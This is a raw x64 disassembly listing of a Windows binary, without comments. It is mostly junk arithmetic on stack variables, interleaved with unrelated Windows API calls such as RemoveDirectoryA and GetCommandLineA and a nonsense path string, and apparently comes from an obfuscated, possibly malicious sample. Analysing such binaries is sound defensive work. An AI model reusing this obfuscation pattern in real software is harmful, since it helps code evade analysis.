mov rax, qword [rsp + 0x8d58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x14000726d
mov rax, qword [rsp + 0x8d28]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8c88]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
jmp 0x14000734a
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [0x1401e87a0]
and eax, ecx
movzx ecx, word [rsp + 0xff8]
mov rdx, qword [rsp + 0x8c60]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x14000734a
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov dword [rsp + 0x4e04], eax
cmp dword [rsp + 0x4e04], 0x177
je 0x1400072e4
jmp 0x140007330
mov rcx, qword [rsp + 0x8ab8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [rsp + 0x4da4], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1004]
movzx ecx, word [0x1401e87a0]
add eax, ecx
mov word [rsp + 0xff8], ax
jmp 0x14000734a
lea rdx, [rsp + 0x8ad0]
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [rsp + 0x4d28], eax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7020], ax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov rdx, qword [rsp + 0x8b48]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
ja 0x1401cbde7
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x4cc4]
mov dword [rsp + 0x4e08], eax
cmp dword [rsp + 0x4e08], 0x374e
je 0x1400073c6
jmp 0x140007448
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cc4]
movzx ecx, al
mov eax, dword [0x1401e7008]
shl eax, cl
mov dword [rsp + 0x4cbc], eax
mov r8d, 0x9f
lea rdx, [rsp + 0x2a0f0]
lea rcx, str.C:Supervenemanipulates_rumple
call qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
mov dword [rsp + 0x4e0c], eax
jmp 0x1401cbd83
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x71]
movzx edx, byte [rsp + 0x76]
xor ecx, edx
cmp eax, ecx
jg 0x140007513
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8c88]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14000750e
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4db4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4ddc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000750e
mov rax, qword [rsp + 0x8d28]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8c88]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
jmp 0x14000767b
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [0x1401e7008]
mov edx, dword [rsp + 0x4cbc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140007606
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
xor eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ac0]
movzx eax, byte [rax]
mov byte [rsp + 0x4e10], al
cmp byte [rsp + 0x4e10], 0x11
je 0x140007576
jmp 0x1400075e7
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d60], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x8b50]
mov rax, qword [rsp + 0x8b70]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x8c08]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rax]
call fcn.1401cd5a0
nop
jmp 0x140007604
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1000], ax
jmp 0x14000767b
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x8d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d68]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8b50]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000767b
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov ecx, 0xfb
call qword [sym.imp.KERNEL32.dll_SetUserGeoID]
mov dword [rsp + 0x4e0c], eax
mov rax, qword [rsp + 0x8af8]
mov qword [rsp + 0x8d70], rax
cmp qword [rsp + 0x8d70], 0
je 0x1400076ee
movabs rax, 0x70532f92a34640
cmp qword [rsp + 0x8d70], rax
je 0x1400076af
jmp 0x140007732
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1004]
sub eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
jmp 0x140007732
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x8d80], rax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8792]
sub eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8af8]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e7028], rax
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4e14], eax
cmp dword [rsp + 0x4e14], 0xbb973800
je 0x14000778d
jmp 0x1401cbcb0
mov rax, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8af8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c20]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x1401cbbf6
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1010]
add eax, ecx
mov word [rsp + 0x1004], ax
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x100c], ax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d50]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8c50]
mov qword [rsp + 0x8d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d00]
movzx ecx, al
mov eax, dword [rsp + 0x4cec]
sar eax, cl
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [0x1401e7020]
and eax, ecx
mov word [0x1401e87a0], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [rsp + 0xffc], ax
movsx eax, byte [0x1401e8792]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8af8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d8c]
add eax, 0xd8
mov dword [rsp + 0x4d8c], eax
mov rax, qword [rsp + 0x8d38]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b78]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cc4], eax
cmp dword [rsp + 0x4d8c], 0x109d5
jb 0x1400077c8
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [0x1401e8793], al
lea rax, [rsp + 0xffc]
mov qword [rsp + 0x8d90], rax
cmp dword [rsp + 0x4d5c], 0xb0c9
jbe 0x140007cba
movsx eax, byte [0x1401e8792]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff4]
or eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e8793]
shl eax, cl
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8d50]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7020], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0x1008]
movsx ecx, word [0x1401e8790]
and eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ddc], eax
mov eax, dword [rsp + 0x4d5c]
sub eax, 0xbf
mov dword [rsp + 0x4d5c], eax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d84]
sar eax, cl
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8d40]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e8792], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [rsp + 0x77]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff8], ax
jmp 0x140007a32
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0x8d98], rax
cmp qword [rsp + 0x8d98], 0
je 0x140007cda
jmp 0x140007d9c
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
lea rax, [rsp + 0x8ab0]
mov qword [rsp + 0x8da0], rax
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4ddc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8c10]
movzx eax, word [rax]
mov word [rsp + 0x1014], ax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7030], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0x79], al
jmp 0x140007dde
mov ecx, 0xbe
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov word [rsp + 0x1010], ax
mov r9, qword [rsp + 0x8ab0]
mov rax, qword [rsp + 0x8ae8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x8cf8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rax]
call fcn.1401cdb50
nop
movsx eax, byte [rsp + 0x75]
movsx ecx, byte [rsp + 0x72]
sub eax, ecx
movsx ecx, byte [0x1401e8792]
mov rdx, qword [rsp + 0x8bf8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140007eb3
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x76], al
lea r8, [rsp + 0x8c90]
mov edx, 0x95
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov dword [rsp + 0x4ddc], eax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x8c50]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8d38]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x8d30]
call fcn.1401cd5a0
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d84], eax
jmp 0x140007f03
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d30], rax
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x8db0], rax
cmp dword [rsp + 0x4d64], 0x7314
ja 0x1400081a3
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d64]
add eax, 0xc
mov dword [rsp + 0x4d64], eax
movzx eax, byte [0x1401e8793]
movzx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0x74], al
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ad0]
movzx ecx, al
mov rax, qword [0x1401e7018]
shl rax, cl
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
sar eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8d30]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e8792], al
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
jmp 0x140007f03
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x75], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff4]
or eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d84]
shl eax, cl
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8792], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1014], ax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0x76], al
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ad0], rax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x4d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e7030], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
or eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
shl eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
mov eax, dword [rsp + 0x4de8]
sub eax, 0x67
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7020], ax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [0x1401e8793]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [0x1401e87a0]
shl eax, cl
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d78]
mov qword [rsp + 0x8db8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8db8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d90], eax
mov eax, dword [rsp + 0x4d50]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d30]
mov rcx, qword [rsp + 0x8b50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
